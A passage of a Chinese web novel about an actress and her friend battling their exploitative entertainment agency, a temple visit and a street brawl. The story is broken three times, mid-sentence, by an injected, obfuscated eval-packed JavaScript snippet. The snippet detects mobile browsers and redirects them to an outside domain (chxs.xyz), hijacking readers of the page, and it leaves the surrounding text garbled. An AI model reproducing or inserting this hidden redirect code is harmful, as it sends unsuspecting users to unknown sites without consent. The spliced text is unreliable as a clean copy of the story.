这种强制甩锅、定罪的发言只需短短几秒就能挑动看客的情绪,而情绪上头的莫伊倪也拿出压箱底的PPT制作技巧,图文连接并茂地上大号声讨铃戏。 几张出圈神图让莫伊倪的大眼账号积累了不少粉丝,加上应璋买的推广和营销号的搬运,不等这群人从派出所出来,这件事就广泛传播开来。 黑马会所的风波将将平息,现在铃戏又一次喜提热搜。这种明目张胆的威胁辱骂简单直接地挑动了公众的怒火,也就是铃戏这个小作坊没资格上市,不然股价波动就能让铃戏喜提破产。 铃戏没有破产的直接苦果就是姐妹俩的合同仍旧有效,即使大家已经撕破脸,应璋和莫伊倪仍旧是铃戏的员工。 从《风月渡》剧本违约踢人时,应璋就开始物色靠谱律师。这么多天下来,还真让她找到了一个。 何驭是个执业三年的新律师,之前帮助被非法辞退的女员工和大集团打过官司,还胜诉了。 应璋在电话咨询后,决定带着莫伊倪一起去线下见见这位何律。 经历了一下午的漫长谈话,两人分别和何律签了委托代理合同。 莫伊倪还好,黑马会所的故意伤害先不提,就光这几天她领导把人踢出工作群并直言让人滚蛋的操作,就足够她去劳动仲裁了。 除此之外,铃戏还有不少很刑的操作,比如之前签的劳动合同到期了还没续签,因为人事说需要领导审核,过两个月再补;又比如说把人关在房间威逼利诱…… 和莫伊倪比起来,应璋的情况就复杂多了。《风月渡》违约还算比较好解决的,但是和铃戏的纠纷就比较复杂了。 虽然铃戏故意开出的高额违约金十分离谱,但这份合同她签了字就具有法律效力。何律坦言这份合同即使法庭相见,大概率也是应璋败诉,最多就是能把赔偿金额稍稍往下降降,但是也不会减少太多。 应璋在何律的办公室把厚厚的劳动法翻了个七七八八,也只能遗憾离开。 比开庭更先来的是铃戏上层的电话。发现威逼行不通后,铃戏快开始尝试利诱,又是许诺资源,又是许诺报酬的。 只是应璋现在根本不可能和铃戏和解,铃戏的信誉值在应璋这里已经是负数了。 短期内利益确实可观,但是都已经闹成这样是绝对不可能善终的,铃戏这次示好在应璋看来和裹着巧克力的屎没有任何区别。 自觉给了台阶又放了血的铃戏高层被软硬不吃的应璋气得头疼,不仅放话要取消她在公司的全部资源,还声称要在全行业封杀她。 真是好笑,说的好像给过她什么资源一样。应璋觉得无所谓,雪藏就说雪藏呗,还要绕那么大弯子。 铃戏的手段也就那些,拍见不得人的东西她反手就是一个举报,其他下作的工作安排又不在合同里,她拒绝得理直气壮。这么一想确实让人有恃无恐。 “璋宝,等我和铃戏的官司结束了,咱俩就做自媒体工作室吧!”莫伊倪捏着应璋的脸,双眼放光,“像你这种中了基因彩票的大美女,生来就是要被我拍的!” “应该不太行。”应璋摇头,“我和铃戏的合同还在有效期。” 莫伊倪皱眉:“啊……那你怎么办啊……” “可能先去读个书?”应璋思索片刻,有了主意,“年轻的时候条件不好,读的专业不喜欢,要不考个研?” “合同还有六年,准备一两年,再读个两三年,差不多也就到期了。”莫伊倪掰着手指算了一下,觉得很合理,“那你要考什么专业啊?” “不知道啊,先把英语捡起来吧……”应璋挠头,“我大学忙着到处打工,英语学得稀烂,现在就记得一个abandon……” “那我帮你找找资料!”莫伊倪胸脯拍的震天响,“等下我去粉丝群问问,几千号人呢,人多力量大!” 应璋点头称是:“好,那就交给我们妮妮了!” … 近期应璋都住在莫伊倪家,主要是她租的房子位置很偏,交通便利这四字那套房子是一个都没挨着。 而两人最近律所、人社局法院到处跑,还是住在莫伊倪这更方便。 姐妹俩最近被铃戏惹来的麻烦折腾得头大,但生活节奏还算轻松,每天看看书、修修图,日子也还算过得去。 只是这种惬意没有维持太久——两人被铃戏恶剪后放到网上网曝了。 铃戏在大眼的官方账号上公布了两个视频,一条是应璋拒绝公司的工作安排时说的难听话,另一条是莫伊倪怼公司艺人丑怒摔鼠标的暴躁模样。 两条视频都是掐头去尾、拼拼凑凑出来的,再配上颇具煽动性的文案和音乐,一时唬了不少吃瓜群众。 舆论的风向从铃戏黑心公司转变成大家狗咬狗,都不是什么好东西。应璋和莫伊倪账号的评论区和私聊已经完全被污言秽语包围了。 莫伊倪冲浪强度大,热度刚发酵起来她就刷到了,还在评论区未完全沦陷的时候和网友们对吵了好一会。 可惜双手难敌万千网友,莫伊倪很快败下阵来。 被铃戏无耻操作气得火冒三丈的莫伊倪愤怒地冲进卧室,摇醒了还没起床的应璋。 “璋宝璋宝!你看铃戏这群厚颜无耻的混蛋,污蔑我们还要引导网暴!” 应璋刚醒,整个人都是懵的,把视频看了两遍才反应过来到底发生了什么。 “这是去年的吧?那会是因为什么吵起来的来着……” 应璋盯着屏幕看了又看,还是没想起来具体是怎么回事。 “没办法,铃戏的离谱操作太多了,实在对不上是哪一场……你那个视频是怎么回事?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14360224|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “我也对不上……” 莫伊倪噎了一下:“他们公司要求高的丑八怪那么多,我怎么能对得上到底是哪个……” 姐妹俩沉默了,平时俩人三天能骂铃戏八百遍,实在记不清它所有的离谱操作。 应璋:“要不然……” 莫伊倪:“有什么锤放什么锤?” 对视片刻后,两人开始翻出之前一起背后痛骂铃戏的聊天记录,开始按照时间轴写复仇笔记。 此刻,应璋特别感谢三年前一个冲动就买了ophone15pro1TB的自己。 内存大就是好啊,语音、视频、图片、文档统统都还在,每!一!个!都!可!以!打!开! 尽管应璋不记得她在公司吵起来是因为什么,但骂得那么脏原因肯定只有一个——经纪人给她安排了完全不能接受的剧本或综艺。 她还记得刚和汪继翻脸时接到的那个角色。 剧本上写是一个□□敌方将领的女间谍,到了片场正好撞上主演的戏份,几个女角色三点全露,不知道是在拍战争片还是爱情动作片。 应璋前脚进了门,后脚就被场务扯着要脱光。气得应璋把人甩开扭头就走,出了门就给汪继一通臭骂。 汪继不回消息是近一年多的事,那时的汪继被骂了还会回骂。 可能是因为要讲的话太多,汪继从来都是直接发语音条。 汪继骂人有个特点,喜欢说教,还喜欢站在道德高地上。 不过这也不是汪继一个人的特点,整个铃戏管理层基本都是他这样的,主打一个上梁不正下梁歪。 所有龌龊的剧本和酒局,在汪继的嘴里都是铃戏为了培养应璋的良苦用心。而应璋所有的反抗和不满,在他那里都是没有脑子不识好歹。 汪继给应璋安排的剧本绝大多数都不会发行面世,偶有零星上映的也进不了内地市场,就算用了非常规手段在网络上流传,也是骂声一片的那种。 因此应璋想要找对应的剧作佐证还颇有难度,折腾了两三天才把这份反击材料做好。 比起姐妹搜集资料艰难,莫伊倪那边倒是比较顺利,当天就把素材剪成视频发了出去。 工作群里永远不会缺领导的若智言论和任务,随便截截图都能拉出几十张PPT素材;拍照的底片和原始素材都分门别类地存在硬盘里,那些艺人丑陋的原图和粗鄙的视频多得能把人看出审丑疲劳。 莫伊倪的视频很快就扭转了舆论的口风,视频下最热门的一条评论是这样的——[莫老师还是文化人,要我肯定骂的比莫老师还脏。] 哪个社畜没有遇到过离谱领导或神经甲方呢? 应璋在江水千里的建议下选择把视频上传到W站,这里年轻人多,对长视频的接受能力也比其他网站要强一些。 应璋把视频分成两P——1P用简单的图片和配音简述了铃戏和汪继的邪门操作,是个时长二十多秒的短视频,2P则是把她能搜到的所有实锤统统加上的大合集,是个时长快三个小时的长视频。 买了几个推广后,应璋的视频很快就登上了W站的热门,并且大范围的传播开来,还给莫伊倪的视频带了一大波流量。 发完视频倒头狠狠补了一觉的应璋睡了大半天,终于缓过神来,清醒的第一件事就是打开W站的评论区。 评论区的画风比较统一,基本都是在骂娱乐公司的。具体一点的骂铃戏,宽泛一点的骂内娱,再宽泛一点的就骂隔壁的日语韩娱。 评论区真是人才辈出,应璋边看边转发给莫伊倪一起学习语言的艺术。 “好棒的嘴啊,好嫉妒网友的才华!”莫伊倪发现好友醒了,抱着枕头和零食跑了过来,“这么棒的嘴能不能借我?退一步讲,这种嘴怎么就不能长在我身上呢?” 应璋失笑:“你还是连夜背梗吧,就记在你那个备忘录上,这个可行性要高得多。” 莫伊倪撇撇嘴,她拿备忘录记梗怎么了! “璋宝,我好生气啊!”莫伊倪锤了一下枕头,把矛头转向万恶的公司,“凭什么铃戏这么折腾我们,我却不能报复它!” 确实,尽管铃戏在舆论方面一败涂地,但这对公司本身并不会造成什么伤筋动骨的影响。影视剧那种因为一场负面事件或舆情就倒闭破产的公司还是少数。 “唔……”应璋想了想,好像也不是不能报复,“我好像有个方法,你要试试吗?” 5. 求神 “哦?”莫伊倪双眼放光,“说来听听。” 应璋:“你还记得何律之前说的,那个签了一两百个小女生的养成系爱豆公司吗?” “啊!那个黑心公司!”莫伊倪有些摸不着头脑,“当时和何律不是拿她们举例子,好多小女孩因为黑心公司不合理的合同背上了天价违约金,从几十万到上千万都有。” “对,就是那个黑心公司!”应璋挪到莫伊倪旁边,从她抱着的零食堆中抽了一包每日坚果,“你还记得那个唯一没有背上债务的女孩子吗?” 莫伊倪停下来啃芒果干的动作:“那个考公上岸的?” “没错,就是她。”应璋比了个大拇指,“你学学人家,考进公检法司或者税务局,给铃戏点颜色看看!” “???” 被姐妹寄予厚望的莫伊倪倒吸一口冷气:“你有点太看得起我了,姐妹。” “那当然,你可是我的好姐妹!”应璋努力画饼,“想想你读过书,吃过的苦!你难道不想报复铃戏吗?上岸第一剑,先斩前公司!再有几个月就可以报名国考了,冲!” “好……”莫伊倪被哄得头脑发蒙,下意识应是,但很快又察觉到不对劲,“好什么,要考不也不应该是你考吗?背着天价违约金的不是你吗?” “你以为我没想过吗?”应璋哀嚎,“这不是没有我能考的岗吗?我一个学学前教育的,怎么进税务局和公检法司?” “那你也不能对我寄予这么重的厚望啊……”莫伊倪挠头,“还不如举报铃戏的消防和税务……” “有道理,查查怎么举报!” … 应璋搬回了自己的出租屋。 两人为琐碎的准备工作忙了十来天,接下来就是漫长地等待。法律是正义的,但是实现正义的过程是漫长的。 不过这些日子也不算虚度,最起码应璋已经确定了她要考的专业——文物保护与修复。 就算考不上,她也可以丰富自己的知识储备,反正不是什么坏事。 制定完目标,应璋就开启了备考第一步——搜集资料。 应璋的绩点不高,奖项更是一个没有,成绩在专业中下游,委实算不上好学生。 从应璋记事起,就没有见过父母。户口本上只有她和姥爷两个,她是被姥爷拉扯大的孩子。但姥爷也没有陪应璋太久,在她升高三的那年姥爷车祸去世,她成了事实孤儿,在武行几位老师傅的关照下跌跌撞撞地长大了。 上大学的开销大,老师傅们岁数也不小了,在武行式微的今天,师傅们能给予应璋的帮助有限,半工半读又签了铃戏的她心思自然不在课业上。 之前在剧组连轴转的时候还没什么感觉,现在想好好学习了才发现知识少会吃大亏,别说背书了,读都读不明白,一张嘴就是舌头打结。 半小时咬了六次舌头的应璋决定先暂缓学习,先刷一下考研软件的论坛汲取一些学习经验。 论坛真好刷啊,除了常规备考的帖子,还有很多有趣的内容——美食、烹饪、宠物、玄学……看得应璋渐渐忘记了自己打开论坛的初衷。 【主题:818我们市那个超超超超超超超级灵验的道观】 【正文:楼主坐标W州市,我们那有一座特别灵验的道观——黄大仙宫!求事业、求姻缘都超级灵验!而且不是那种已读乱回,不管售后的,主打一个心诚则灵!】 【……】 一个帖子看得应璋心潮澎湃。看了一下楼主的IP,和她一个省,W州市是不是就是她所在的婺州市? 应璋满怀喜悦地打开地图软件,打下“黄大仙宫”几个字,发现真的有这个道观,而且离她也不算特别远,打车加地铁差不多一个多小时就能到。 安排! … 鹿田湖畔,披皇岭仙境,巍峨壮阔的宫殿群隐现于苍翠林间。 赤松大殿前,男子注视着缭绕在香炉顶上的青烟,攥着三根清香的手不受控制地颤抖着,几根手指僵得怪异。 “临渊,你最近有按时吃药吗?”男子身边站着的儒雅大叔伸手扶住男子的手臂,引着他靠近香炉,点燃手上的香,“放松,黄大仙会护佑你的。” 男子抿嘴不言,沉默地用双手扶稳香,低着头避开了大叔的视线。 大叔有些生气,看了看男子,又看了看大殿,轻叹一声向大殿行去。站在拜殿中,大叔对着殿宇中高坐的神明拜了三拜,恭敬地把香插进了香炉后,就跪在蒲团上敬拜神明。 男子看着大叔虔诚叩首的背影,也学着他的动作上前敬香跪拜。 殿外的钟声响起,悠远的钟声遮盖了殿内原本就不算大的祈愿声,谁也没有听清男子对着上仙低声说了什么。 炉鼎内燃过的香灰落了几截,两人才起身离开。 从大殿出来,大叔从身后的背包里掏出保温杯和药盒,递给男子温声道:“喝口水把药吃了吧。” 男子没有拒绝,伸出手接过药来乖乖吃了。 大叔看着男子的动作,眉头拧成一团,等到男子把药咽下去后才出声道:“柏临渊,你清楚自己在做什么吗?” “……对不起,钟老师……”柏临渊把手臂往后藏了藏,头垂得像一株不堪重负的月季,“……我控制不住自己……” 钟老师拍了拍柏临渊的后背,声音缓和了不少:“搬去和我一起住吧,你师娘最近买了两床蚕丝被,又轻又暖……” “不行——”柏临渊声音突然高了一瞬,又很快低了下来,抖得连不成一个完整的句子,“老师……我现在……想自己住……我只能……” “好好好,你自己住。”钟老师察觉到手心下的紧绷,缓缓挪开了手,“小邢跟我说过,你现在抵触外界老师可以理解,但是你也要好好照顾自己才是……” 柏临渊双手背在身后,像个做错事的孩子,嘴巴张张合合,还是没有说出什么。 “每天起床后,给老师打一个电话可以吗?”钟老师看着柏临渊这副模样,什么责备的话都讲不出了,“你师娘最近在学法餐,你在法国待过那么多年,也能每天给你师娘解解惑。” “好……”柏临渊点头,“我会每天给老师打电话。” “钟老师——钟老师——”一个穿着志愿者马甲的男人小跑过来,“玄泽道长让我请您去帮个忙,有位居士练功的时候拉伤了,您看着帮忙调调……” 钟老师刚想答应,又放心不下此时状态明显不对的柏临渊。 “老师您先去忙吧,我在这附近转转。”柏临渊把保温杯还给钟老师,“杯子里剩的水不多了,老师再接一点吧,等会我过去找您。” 钟老师接过保温杯,拍了拍柏临渊的肩膀就跟着志愿者离开了。 作为龙门山脉的支脉,金华山的海拔不算低。清爽的山风裹挟着阳光从林间穿过,就算再沉郁的心境也能被吹得开阔几分。 站在原地吹了会风,柏临渊才沿着山路慢慢往下走。 作为江南地区最大的道观,黄大仙宫一直香火鼎盛,信众甚多。柏临渊这会并不想见人,更不想看见来来往往的游客,所以选了条没什么人知道的小路走。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14360225|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 这条小路是早些年山上道士们清修练功常走的路,风景秀美,但着实算不上好走,因而在没有被景区选作游览参观的动线。 不过也正得益于此,这里的物种极为丰富,鸟雀也非常活跃,景致别有风味。 不知道走了多久,柏临渊有点累了,就打算原路返回去找钟老师。 柏临渊刚一转身,就发现刚才走过的路中间多了一只黄鼠狼。 这只黄鼠狼体型不小,如果不是它站起来把身子拉成长长的一条,只看它并不纤细的身体,恐怕都会觉得这是只还没张开的橘猫。 柏临渊盯着黄鼠狼不住晃动的耳朵看了一会,最后选择转身绕开它从另一条路走。 这黄鼠狼耳尖上的毛都白了,想来年纪也不算小,就让让它吧。 黄鼠狼看着柏临渊大步离开的背影,直接愣在了原地,也不知道是被吓得,还是被气得。 小路上的奇遇随着黄鼠狼窜进草丛的身影一起隐去,谁也不知道这里曾经发生了什么。 等应璋爬到黄大仙宫主殿时,已是道观里的午饭时间。 尽管整片山脉都被开发成景区,有了更便捷省力的观光车,应璋还是选择靠自己走上来。 一方面是为了锻炼身体,另一当面则是为了心诚。 论坛里的网友在提及这座道观时都会强调一句“心诚则灵”,应璋不知道怎么和仙人表现出她的诚恳,思来想去觉得还是身体力行比较好,于是她起了个大早,转了三趟车又一步一步走上了山。 按照网友的指点,应璋抽出身份证夹在手掌与香之间,对着正中的仙人塑像拜了又拜,开始在心里向上方的神明报家门—— “信女应璋,身份证号230523****……” 报完名号后,应璋突然卡住了,原本想祈愿的“考研上岸”无论如何都说不出口了。 这种感觉很难用语言来形容,好像跪在蒲团上的一瞬间,整个人就无欲无求起来,甚至对整个世界都没什么想法了。 “小姑娘,你快点拜,等下香烧过了要烫你手的!”一个穿志愿者马甲的老太太踱步到应璋身边,小声提醒。 “哦……哦!”应璋连忙道谢,“谢谢您,我这就拜。” 匆忙许了一句诸事顺遂,应璋便草草叩首把香插进香炉中。 老太太满意地看着应璋利落的动作,笑着发出邀请:“小姑娘吃不吃斋饭?马上就开斋了。” 应璋揉着咕咕叫的肚子,有些不好意思:“我也可以去吃吗?” “可以的,不浪费就行。”老太太笑容慈爱,“今天有雪菜素鸡面,烧素鸡的师傅是婺州酒楼的前任行政主厨,味好着呢!” 听了老太太的介绍,应璋馋得吞了吞口水,连忙应声道:“那我跟您走!” 到了斋堂,里面坐了不少人,在老太太的引导下,应璋很快就捧着面碗找地方坐下了。 老太太有自己的吃饭搭子,安排好应璋后就投向老姐妹的怀抱了。 在心里感谢过老太太和黄大仙后,应璋捧着碗埋头苦吃。 雪菜应该是近期新腌的,下锅之前经过数遍仔细清洗,滋味并不重,反而有几丝清香,吃起来颇为爽口。素鸡在热油滚过,表面被高温催化出紧实的韧感,一口下去内里热烫的汁水就从疏松的孔洞中迸出,溅得满口鲜香。 即使观里信众甚多,厨师也没有敷衍,面的火候刚刚好,吸饱了汤底浓稠的滋味,又保留了面条筋道的口感。 暴风吸入一整碗后,应璋总觉得好像有人在看她,一抬头对上一双直勾勾的眼睛。 6. 风波 “你要吃面吗?”应璋捧着碗站了起来,“我带你去呀?” 看在帅脸的份上,应璋原谅了对方略显冒犯的视线,也许他只是饿了呢? 帅哥的脸腾地一下红透了,几乎是左脚绊右脚地离开了应璋的视线。 应璋还是第一次如此直观地看到红温现场,感觉新奇又下饭,怀着这种奇妙的心情,她又去找打饭婆婆又续了一碗面。 在优质碳水的助力下,应璋健步如飞,从斋堂出来后又 跟着志愿者们逛了三清殿和祈仙殿,听老人讲了一会传说故事才慢悠悠的返程下山。 穿过鼓楼后,应璋突然停下了脚步。 刚刚有位志愿者老师向她介绍过这里的神奇,说是只要有人站在祭坛中央鱼形太极图的中心喊一声,就能听到响亮的回音从四面八方传来,犹如站在谷底。 四下无人,应璋一路小跑到祭坛中央打算试试。 刚在阴阳鱼中心站稳,应璋就感觉有什么东西在扯她的裤腿。顺着力道折身望去,原来是一只小黄猫。 看着小猫一边扯裤脚,一边摇晃着要站起身子的模样,应璋顿时爱心泛滥,声音也夹了起来:“你是哪里来的小猫咪呀?是不是肚肚饿饿?姨姨带你去找志愿者奶奶要点饭饭吃好不好呀?” 话音未落,一直叼着裤脚的小猫就松开了嘴,头上的耳朵一抖一抖,转身就往祭坛的边缘跑去。 “???” 应璋看着小猫离去的背影,有些茫然,难道小家伙咬裤腿不是在找她要饭?话说这猫怎么这么长一条? 长条猫在祭坛边缘停下,嘴巴一动一动的,前爪也跟着比比划划,看起来也有几分可爱。 可能是在抓虫子? 应璋一边猜一边顺着小猫挥爪的方向望去,只见钟楼的影子与周边树影叠在一起,落在祭坛边缘的地砖上,看起来像极了一个打坐的居士。 “这道观里的猫就是不一样啊,又机灵又有悟性。”应璋十分感慨,对着影子的方向鞠了一躬,也没继续尝试在祭坛喊叫,径直离开这里。 转身离开的应璋并不知道,在她转身离开的瞬间,试图直起身子的小猫一个踉跄直接跌下了祭坛,也没有看到小猫对着方才她鞠躬的影子龇牙咧嘴的模样。 下了山,应璋一边等车,一边对莫伊倪讲今天在山上的见闻。 莫伊倪是浦江人,虽然不常去黄大仙宫,但对那里的了解还是多少有一些的。和应璋不一样,她去仙宫的时候最多就是看看各种飞鸟和游鱼,从来没见过小猫。 出于好奇,莫伊倪轻声追问起来:“真的是猫吗?我从来都没遇到过,你运气真好。” “应该是小猫吧?” 应璋回忆了一下,中午吃得太饱,头有点晕,她其实也不是很确定。 “毛是黄色的,耳朵尖尖有白毛,头小小的,脸有点黑,不算胖,就是身子有点长。” 嘶,这么一说好像确实不太像猫啊…… 对动物毛发过敏的应璋连打三个喷嚏,把电话另一头的莫伊倪吓了一跳:“你没摸猫吧?过敏药带了吗?” “不严重——阿嚏——” 毫无说服力的喷嚏声震天响,打完这个喷子,应璋似乎能听见脑液的嗡鸣声。 莫伊倪听得直皱眉:“我的天,要不今天别折腾了,你把过敏药吃了,回家好好睡一觉。” “不要!”应璋吸吸鼻子,果断拒绝,“今天就是天上下刀子,我也要吃烧烤!” “好好好,你慢慢过来就行。”莫伊倪失笑,“听说这个大哥七点才出摊,咱不着急,来得及。” “现在刚五点多,等我过去差不多刚刚好。”应璋算了一下时间,松了口气,“我刚刚还在想,要是再打不到车我就步行三公,去骑共享单车。” “姐,您对您的腿好一点吧。”莫伊倪简直佩服,“爬完山后暴走三公里,再骑车二十公里,这是什么新时代铁人三项。” “嘿嘿……” 原本应璋只想出门拜拜黄大仙,坐上地铁才收到莫伊倪的聚餐邀约。 在离应璋住处不远的地方最近多了一条小吃街,位于几个小区中间的街道上,每当夜色降临,摊主们便驾驶着各式各样的小吃车汇聚在街头。 其中一家东北烧烤的烤猪肉串远近闻名,特别是烤五花肉,去晚了根本抢不到。 做艺人时应璋还是很注重身材管理的,火锅烧烤一律不碰。现在没了身材管理这项需求,应璋对烧烤的渴望与日俱增,恨不得一天三顿小烧烤,也不管接下来的行程是什么,一口答应了好友的邀约。 姐妹俩刚在小吃街见上面,就直奔大哥的烧烤摊。 大哥刚把摊位布置上,在等烤炉里的木炭升温。看见一路小跑的俩人立马招呼上了。 “妹子吃烧烤吗?正宗东北烧烤,今天还有烤鸡架!” 应璋点头如捣蒜:“吃吃吃!” 大哥笑着递过筐,招呼两人自己取食材,“这边的都是三块一串,那边是四块一串,最边上的都是六块一串,鸡架一个十八,想吃啥自己拿。” 扫了一眼琳琅满目的各色食材,应璋眼疾手快地把最后几串五花肉串攥进手里,这才满意的松了口气,慢悠悠地抬头望向旁边手慢一步的倒霉蛋。 “是你?” 一旁站了个手伸到一半还没碰到肉串的男人,正是应璋中午在黄大仙宫遇到盯着她面碗的帅哥。 回想起对方直勾勾盯着她的样子,应璋觉得这位帅哥应该也是吃货众人,于是忍痛分出两串五花肉串递了过去:“这个剩的不多了,我只能分你两串。” “柏临渊。” 帅哥很珍惜地接过肉串,苍白的脸上隐约有笑意浮现。 “什么?” 炭火发出爆裂声,应璋并没有听清楚他的声音。 “我的名字,柏临渊。” “很有气势的名字。” 应璋空出一只手比了个大拇指,并不太想深入交流。她已经闻到油脂落在炭火上的焦香了,现在她只想快点吃上烧烤。 “我叫应璋,有机会再聊,我去拿点其他的。” 柏临渊盯着应璋离去的背影,眼睛亮亮的,不知道在想些什么。 专注找食材的应璋很快就忘了这个小插曲,把手上的筐子交给烧烤大哥后,就去一旁支起来的简易桌椅旁找位子去了。 等莫伊倪捧着柠檬茶和无骨鸡爪回来时,第一批肉串已经烤好了。 街头小摊为了控制成本,牛羊肉切得都比较小,熟得也更快一些。怀着对猪肉串和猪五花的期待,应璋一边猛炫牛肉串,一边听莫伊倪吐槽最近遇到的奇葩甲方。 虽然莫伊倪的仲裁官司还没有下文,但凭借过硬的技术,莫伊倪还是可以接到不少私单。私人单干要受的气丝毫不比在公司少,莫伊倪每遇到一个特别抽象的,都会拉应璋出来边吃边骂。 “璋宝,你不知道今天这个甲方有多神经,他要我把他的眼睛修大一点,但是不能放大,还要我把他的嘴修小一点,但是不能缩小……” 莫伊倪越说越觉得自己命苦,声音渐渐染上了哭腔:“给他修了三版都不满意,我问了好多次,最后他甩了一张P到五官都模糊的蛇精脸跟我说,要这种……” 莫伊倪妈妈是苏城人,性子又温吞,自小跟着妈妈一起长大的莫伊倪受妈妈影响,声音也是又细又软的。 应璋最受不了女孩子这种声音,根本顾不上刚端上来的猪肉串,直接站到姐妹统一战线陪她一起骂。 就在两人你一言我一语地声讨奇葩甲方时,头顶突然一暗,一道流里流气地声音从两人身后响起—— “妹妹声音这么好听,跟哥哥加个好友吧!” 应璋循声望去,是五六个喝的摇摇晃晃的壮汉,满身酒气,高高大大连成一片,把路灯的光都遮住了不少。 不等两人回话,几人就嘻嘻哈哈地捧上臭脚了。 “呦,两个美女运气不错,我们刚哥可不是谁都能加的。” “嘿嘿嘿,今天你们可真有福气……嗝……” 莫伊倪按住快要暴起的应璋,亮出一个二维码,好声好气道:“你扫我吧。” 男人们发出怪声怪调地哄笑,含有大量颜色词和某些器官的词夹在一声高过一声的音浪里,吵得人头疼。 “没事,那个是前公司的工作号,我都不用了。”莫伊倪贴着应璋的耳朵小声道,“别和醉鬼吵,不值当。” 被好友捏住手的应璋虽然不太赞同,也没说什么,只是空着的那只手悄悄握住了一旁的椅子腿。 “你这个妹妹不错,声音好听人还懂事。”带头的男人嬉笑着扫了莫伊倪量出来的二维码,又冲应璋吹了下口哨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14360226|152917||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“小美女,你也跟哥哥加个微信呗?” “不用那么麻烦,等下我推给你。” 莫伊倪牢牢按住应璋的手,打算先把眼前这茬糊弄过去。距离上次打架才过几天?应璋身上的淤青还没褪干净呢,说几句软话能不打架也行。 “也成。”男人发出一声意味不明的笑声,一屁股坐在莫伊倪旁边的空座上,“来,哥哥陪你们喝一杯!老板,来一箱啤酒!” 身材高大的烧烤大哥小跑过来,赔笑道:“哥,我一个卖烤串的没有啤酒,要不这样,您看看想吃什么,今晚都算我的,您别为难小姑娘。” “你***的也敢教我?”男人勃然大怒,伸手就要去扯莫伊倪。 应璋反手一拉,把莫伊倪拽了回来。男人扑了个空,只抓到几根头发,莫伊倪疼得尖叫一声,也不装了,直接方言开骂。 不知道是惧怕烧烤大哥比他更高更壮的身材,还是觉得被女人骂很丢脸,男人的怒火全冲着应璋和莫伊倪来了,连看都不看其他人一眼,挥拳就向两人砸来。 应璋把莫伊倪甩到身后,挥起刚刚就攥在手心的椅子就往前砸。 小吃摊为了运输方便,摆放的桌椅都偏轻便,塑料椅子落在男人身上应声而碎,带来的伤害看起来似乎还没怒气来得明显。 男人气得破口大骂,招呼着小弟们一起上。 就在椅子碎裂的瞬间,一个修长的身影挡在应璋身前,替她拦下了四面八方来的攻击。 “……柏临渊?” 不知道为什么,明明是素不相识的人,看到柏临渊和人扭打在一起,应璋觉得自己身上也隐隐作痛。 虽然烧烤大哥也在帮忙拦人,但他和柏临渊两个人确实打不过。这群人占据上风后,还分出两个人去追已经躲到隔壁摊位打报警电话的莫伊倪。 应璋从被莫伊倪按住手时就压着火了,现在看着地上散落的烤串更是怒火中烧,哪里还能看着莫伊倪被打?抄起身边的折叠桌舞得那叫一个虎虎生风。 几个闹事的挨了几下后也开始有样学样,拿桌子的、抽凳子的、还有抢一旁商户灯牌的……场面混乱得像是三流导演写的巷战分镜剧本。 警察来的时候,这群闹事的已经打急眼了,不管身边是什么都要砸两下。无论是小吃车还是周边绿化都无一幸免,武警们拿着防爆叉盾一拥而上,场面很快就被控制住了。 应璋对就医并且配合做笔录这件事并不陌生,按理说这次她的伤情要比之前好得多,但实际上她现在已经疼得有点恍惚了。 配合笔录的时候还好,周围人拍了很多视频,方方面面都能证明是对方先动的手,她们最多也就是个防卫过当。 毕竟三个人对上八个人要是定义成互殴也太过牵强了一些。 不过应璋不太理解为什么法医说她的伤情算不上轻微伤,她真的觉得自己身上的挫伤面积绝对够了。 出于疑惑,应璋又给法医姐姐指了背部的几处她觉得绝对有挫伤的地方,但法医看完之后还是很坚定地认为她没受伤。 应璋:可以她混迹武行多年的经验,她是真的觉得自己受伤了啊? 怀着满腹疑惑的应璋决定和做完伤情鉴定的柏临渊一起去最近的人民医院去挂急诊。 放心不下姐妹的莫伊倪跟着一起去了医院,在排队等待医生接诊的时候,应璋实在按捺不住内心的疑惑,拉着莫伊倪去了洗手间。 “妮妮,你帮我看看这里,是不是起淤青了?”应璋指着后背靠近肩胛骨的位置,疑惑发问。 “没有啊。”莫伊倪小心翼翼地轻轻摸了一下应璋指的位置,有些不解,“你这里疼吗?看起来没什么问题啊?” “怎么可能呢?” 应璋觉得很奇怪,下意识反手去摸背上的伤。指下的皮肤光滑微凉,完全没有受伤后的发热肿胀。 “嗯?真没有?” 使劲按了又按,确实没有按压伤处的痛感。 “我拍给你看看。”莫伊倪对着应璋指的地方拍了张照,“喏,你自己看一下。” 屏幕上的皮肤光洁细腻,看起来非常健康,完全没有受伤的迹象。 “嘶……” 